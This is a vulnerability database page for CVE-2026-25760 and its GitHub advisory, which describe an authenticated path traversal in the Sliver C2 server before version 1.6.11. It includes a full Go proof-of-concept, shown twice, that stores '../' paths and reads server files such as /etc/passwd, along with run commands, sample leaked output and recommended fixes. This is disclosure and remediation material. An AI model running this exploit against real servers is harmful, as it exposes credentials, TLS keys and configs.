CVE-2026-25760 (GCVE-0-2026-25760)
Vulnerability from cvelistv5 – Published: 2026-02-06 21:32 – Updated: 2026-02-09 15:26
VLAI
EPSS
VEX
Title
Website Path Traversal / Arbitrary File Read (Authenticated) in Sliver
Summary
Sliver is a command and control framework that uses a custom Wireguard netstack. Prior to 1.6.11, a path traversal in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated path traversal / arbitrary file read issue, and it can expose credentials, configs, and keys. This vulnerability is fixed in 1.6.11.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-02-09 15:19 UTC
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
2 references
| URL | Tags |
|---|---|
| https://github.com/BishopFox/sliver/security/advi… | x_refsource_CONFIRM |
| https://github.com/BishopFox/sliver/commit/818127… | x_refsource_MISC |
Impacted products
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FKIE_CVE-2026-25760
Vulnerability from fkie_nvd - Published: 2026-02-06 22:16 - Updated: 2026-06-17 10:25
Severity
Summary
Sliver is a command and control framework that uses a custom Wireguard netstack. Prior to 1.6.11, a path traversal in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated path traversal / arbitrary file read issue, and it can expose credentials, configs, and keys. This vulnerability is fixed in 1.6.11.
References
{
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"vendor": "BishopFox",
"versions": [
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GHSA-2286-HXV5-CMP2
Vulnerability from github – Published: 2026-02-05 21:57 – Updated: 2026-02-07 00:32
VLAI
Summary
Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)
Details
Summary
A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated Path Traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.
Affected Component
- Website content management (gRPC):
WebsiteAddContent,Website,Websites - Server-side file read in
Website.ToProtobuf
Impact
- Arbitrary file read as the Sliver server OS user.
- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.
Root Cause
The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.
Vulnerable Code References
server/rpc/rpc-website.go:100— acceptscontent.Pathfrom operator RPC and persists it viawebsite.AddContentserver/db/models/website.go:52— reads from disk withfilepath.Join(webContentDir, webcontent.Path)without validating or constrainingwebcontent.Path
Proof of Concept (PoC)
Steps (local test)
- Build the server:
bash go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server - Create an operator config (permission
allfor website operations):bash ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp - Start the daemon:
bash ./sliver-server daemon -l 127.0.0.1 -p 31337 - Run the PoC:
bash GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts
PoC Code
package main
import (
"context"
"flag"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
func main() {
var (
configPath string
websiteName string
targetPath string
webPath string
maxBytes int
)
flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
flag.Parse()
if targetPath == "" {
if runtime.GOOS == "windows" {
targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
} else {
targetPath = "/etc/passwd"
}
}
if webPath == "" {
trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
webPath = "../../../../../../../../" + trimmed
}
config, err := loadConfig(configPath)
if err != nil {
fatalf("config error: %v", err)
}
rpc, conn, err := transport.MTLSConnect(config)
if err != nil {
fatalf("connect error: %v", err)
}
defer conn.Close()
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
defer cancel()
_, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
Name: websiteName,
Contents: map[string]*clientpb.WebContent{
webPath: {
Path: webPath,
ContentType: "text/plain",
Content: []byte("poc"),
},
},
})
if err != nil {
fatalf("WebsiteAddContent failed: %v", err)
}
resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
if err != nil {
fatalf("Website failed: %v", err)
}
var leaked *clientpb.WebContent
for _, c := range resp.Contents {
if c.Path == webPath {
leaked = c
break
}
}
if leaked == nil {
fatalf("did not find content for path %q", webPath)
}
data := leaked.Content
if len(data) > maxBytes {
data = data[:maxBytes]
}
fmt.Printf("[+] target: %s\n", targetPath)
fmt.Printf("[+] web-path: %s\n", webPath)
fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
fmt.Printf("[+] preview:\n%s\n", string(data))
}
func loadConfig(path string) (*assets.ClientConfig, error) {
if path != "" {
return assets.ReadConfig(path)
}
configs := assets.GetConfigs()
if len(configs) == 0 {
return nil, fmt.Errorf("no configs found; use -config")
}
if len(configs) > 1 {
return nil, fmt.Errorf("multiple configs found; use -config")
}
for _, c := range configs {
return c, nil
}
return nil, fmt.Errorf("unexpected config error")
}
func fatalf(format string, args ...any) {
fmt.Fprintf(os.Stderr, format+"\n", args...)
os.Exit(1)
}
Expected Output (example)
[+] target: /etc/hosts
[+] web-path: ../../../../../../../../etc/hosts
[+] leaked bytes: 409
[+] preview:
127.0.0.1 localhost
...
Evidence (Screenshots)
Why It Works
WebsiteAddContentaccepts a path like../../../../etc/hostsand stores it.Websitereturns content by callingWebsite.ToProtobuf, which reads from disk using the storedPathvalue.filepath.Joindoes not prevent traversal, so the server reads from outside the web directory.
Recommended Fix
- Validate and reject paths that are absolute or contain
..inWebsiteAddContent(server side). - Canonicalize paths and enforce they remain within the web content directory.
- Avoid reading content by
PathinWebsite.ToProtobuf; read by content ID instead.
Notes
- This issue requires an authenticated operator account with sufficient permissions (
PermissionAll). - The PoC demonstrates reading
/etc/hostsbut can target any readable server file.
Severity
6.5 (Medium)
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{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25760"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:57:14Z",
"nvd_published_at": "2026-02-06T22:16:12Z",
"severity": "MODERATE"
},
"details": "## Summary\nA Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys.\n\n## Affected Component\n- Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites`\n- Server-side file read in `Website.ToProtobuf`\n\n## Impact\n- **Arbitrary file read** as the Sliver server OS user.\n- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.\n\n## Root Cause\nThe server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.\n\n## Vulnerable Code References\n- `server/rpc/rpc-website.go:100` \u2014 accepts `content.Path` from operator RPC and persists it via `website.AddContent`\n- `server/db/models/website.go:52` \u2014 reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path`\n\n## Proof of Concept (PoC)\n\n### Steps (local test)\n1. Build the server:\n ```bash\n go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server\n ```\n2. Create an operator config (permission `all` for website operations):\n ```bash\n ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp\n ```\n3. Start the daemon:\n ```bash\n ./sliver-server daemon -l 127.0.0.1 -p 31337\n ```\n4. Run the PoC:\n ```bash\n GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts\n ```\n\n\n### PoC Code\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/bishopfox/sliver/client/assets\"\n\t\"github.com/bishopfox/sliver/client/transport\"\n\t\"github.com/bishopfox/sliver/protobuf/clientpb\"\n)\n\nfunc main() {\n\tvar (\n\t\tconfigPath string\n\t\twebsiteName string\n\t\ttargetPath string\n\t\twebPath string\n\t\tmaxBytes int\n\t)\n\tflag.StringVar(\u0026configPath, \"config\", \"\", \"path to sliver client config (.cfg)\")\n\tflag.StringVar(\u0026websiteName, \"website\", \"poc-site\", \"website name to use/create\")\n\tflag.StringVar(\u0026targetPath, \"target\", \"\", \"absolute server file path to read\")\n\tflag.StringVar(\u0026webPath, \"web-path\", \"\", \"override web path (defaults to traversal into target)\")\n\tflag.IntVar(\u0026maxBytes, \"max-bytes\", 1024, \"max bytes of leaked content to print\")\n\tflag.Parse()\n\n\tif targetPath == \"\" {\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\ttargetPath = `C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts`\n\t\t} else {\n\t\t\ttargetPath = \"/etc/passwd\"\n\t\t}\n\t}\n\n\tif webPath == \"\" {\n\t\ttrimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))\n\t\twebPath = \"../../../../../../../../\" + trimmed\n\t}\n\n\tconfig, err := loadConfig(configPath)\n\tif err != nil {\n\t\tfatalf(\"config error: %v\", err)\n\t}\n\n\trpc, conn, err := transport.MTLSConnect(config)\n\tif err != nil {\n\t\tfatalf(\"connect error: %v\", err)\n\t}\n\tdefer conn.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\tdefer cancel()\n\n\t_, err = rpc.WebsiteAddContent(ctx, \u0026clientpb.WebsiteAddContent{\n\t\tName: websiteName,\n\t\tContents: map[string]*clientpb.WebContent{\n\t\t\twebPath: {\n\t\t\t\tPath: webPath,\n\t\t\t\tContentType: \"text/plain\",\n\t\t\t\tContent: []byte(\"poc\"),\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\tfatalf(\"WebsiteAddContent failed: %v\", err)\n\t}\n\n\tresp, err := rpc.Website(ctx, \u0026clientpb.Website{Name: websiteName})\n\tif err != nil {\n\t\tfatalf(\"Website failed: %v\", err)\n\t}\n\n\tvar leaked *clientpb.WebContent\n\tfor _, c := range resp.Contents {\n\t\tif c.Path == webPath {\n\t\t\tleaked = c\n\t\t\tbreak\n\t\t}\n\t}\n\tif leaked == nil {\n\t\tfatalf(\"did not find content for path %q\", webPath)\n\t}\n\n\tdata := leaked.Content\n\tif len(data) \u003e maxBytes {\n\t\tdata = data[:maxBytes]\n\t}\n\n\tfmt.Printf(\"[+] target: %s\\n\", targetPath)\n\tfmt.Printf(\"[+] web-path: %s\\n\", webPath)\n\tfmt.Printf(\"[+] leaked bytes: %d\\n\", len(leaked.Content))\n\tfmt.Printf(\"[+] preview:\\n%s\\n\", string(data))\n}\n\nfunc loadConfig(path string) (*assets.ClientConfig, error) {\n\tif path != \"\" {\n\t\treturn assets.ReadConfig(path)\n\t}\n\tconfigs := assets.GetConfigs()\n\tif len(configs) == 0 {\n\t\treturn nil, fmt.Errorf(\"no configs found; use -config\")\n\t}\n\tif len(configs) \u003e 1 {\n\t\treturn nil, fmt.Errorf(\"multiple configs found; use -config\")\n\t}\n\tfor _, c := range configs {\n\t\treturn c, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected config error\")\n}\n\nfunc fatalf(format string, args ...any) {\n\tfmt.Fprintf(os.Stderr, format+\"\\n\", args...)\n\tos.Exit(1)\n}\n```\n\n### Expected Output (example)\n```\n[+] target: /etc/hosts\n[+] web-path: ../../../../../../../../etc/hosts\n[+] leaked bytes: 409\n[+] preview:\n127.0.0.1\tlocalhost\n...\n```\n\n## Evidence (Screenshots)\n\u003cimg width=\"930\" height=\"649\" alt=\"path-traversal-poc\" src=\"https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe\" /\u003e\n\n## Why It Works\n- `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it.\n- `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value.\n- `filepath.Join` does not prevent traversal, so the server reads from outside the web directory.\n\n## Recommended Fix\n- Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side).\n- Canonicalize paths and enforce they remain within the web content directory.\n- Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead.\n\n## Notes\n- This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`).\n- The PoC demonstrates reading `/etc/hosts` but can target any readable server file.",
"id": "GHSA-2286-hxv5-cmp2",
"modified": "2026-02-07T00:32:08Z",
"published": "2026-02-05T21:57:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-2286-hxv5-cmp2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25760"
},
{
"type": "WEB",
"url": "https://github.com/BishopFox/sliver/commit/818127349ccec812876693c4ca74ebf4350ec6b7"
},
{
"type": "PACKAGE",
"url": "https://github.com/BishopFox/sliver"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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